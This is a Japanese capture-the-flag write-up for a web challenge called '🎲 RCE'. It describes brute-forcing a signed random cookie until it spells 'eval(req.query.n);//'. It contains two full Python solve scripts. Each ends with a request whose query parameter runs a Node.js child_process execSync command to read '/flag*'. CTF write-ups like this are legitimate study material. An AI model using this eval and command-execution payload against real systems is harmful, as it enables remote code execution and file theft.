[web] 🎲 RCE
ランダムで先頭から合わせていって、20文字分を良い感じのRCEにしてやればいい。
eval(req.query.n);//
を出せばあとは、なんとでもなるので、これを目指す。
最初やった間違い方針
目的のhexに対して1/16を引くまで試す。
だが、結果が分かるのは40文字引いた後なので、1文字目をチェックするには39文字分引いてやる必要があるので、
1文字目では1回の試行で40回のリクエストが必要になる。
2文字目では1回の試行で39回のリクエストが必要になる。
これをやるとだいぶ時間がかかるのだが、期待を胸に試してみる。
以下のようなコードを書いて、(背徳感を胸に)sleep無しでバスターしたが…
15分のインスタンス生存制限に…間に合わない…
運営チーム、すみません…
import requests import time cmd = 'eval(req.query.n)//'.encode().hex() url = 'http://xxx.rce.chal.hitconctf.com/' print(cmd) goal = 's%3A6576616c287265712e71756572792e6e292f2' def init_code(): r = requests.get(url) return r.cookies['code'] code = init_code() def go(code): r = requests.get(url + 'random', cookies={'code':code}) #print(f"{r.text} | {code}") #time.sleep(0.1) return r.cookies['code'] def run(code): r = requests.get(url + 'random', cookies={'code':code}) return r.content[36:56].hex() st = code for i in range(len(cmd)): ok = False for _ in range(256): cand = go(st) c = cand for j in range(40 - i - 1): c = go(c) h = run(c) if cmd[:(i+1)] == h[:(i+1)]: print(f"{i+1} | {h} | c={cand}") st = cand ok = True break if not ok: print("NO!!!!") exit(-1) for i in range(40 - len(cmd)): st = go(st) r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':st}) print(r.text)
通った解法
他に攻撃できる部分あるかな?と思って色々調べると
Encrypted Cookies · Issue #12 · expressjs/cookie-parser
を偶然見つける。
あ、前半部分はエンコードしてるだけなのね…
それまでは、40個目まで取得して動かして結果を確認していたが、
最後までやらなくてもCookieを見てあっているか判定すればいい。
これならだいぶ早くなる。
import requests import time cmd = 'eval(req.query.n);//'.encode().hex() url = 'http://xxx.rce.chal.hitconctf.com/' print(cmd) goal = 's%3A6576616c287265712e71756572792e6e293b2f2f' def init_code(): r = requests.get(url) return r.cookies['code'] code = init_code() def go(code): r = requests.get(url + 'random', cookies={'code':code}) #print(f"{r.text} | {code}") #time.sleep(0.1) return r.cookies['code'] def run(code): r = requests.get(url + 'random', cookies={'code':code}) return r.content[36:56].hex() for i in range(len(cmd)): ok = False for _ in range(1010): cand = go(code) if cand[:(i+5)] == goal[:(i+5)]: print(f"{i+1} | c={cand}") code = cand ok = True break if not ok: print("NO!!!!") exit(-1) r = requests.get(url + "random?n=process.mainModule.require('child_process').execSync('cat%20%2fflag*').toString()", cookies={'code':code}) print(r.text)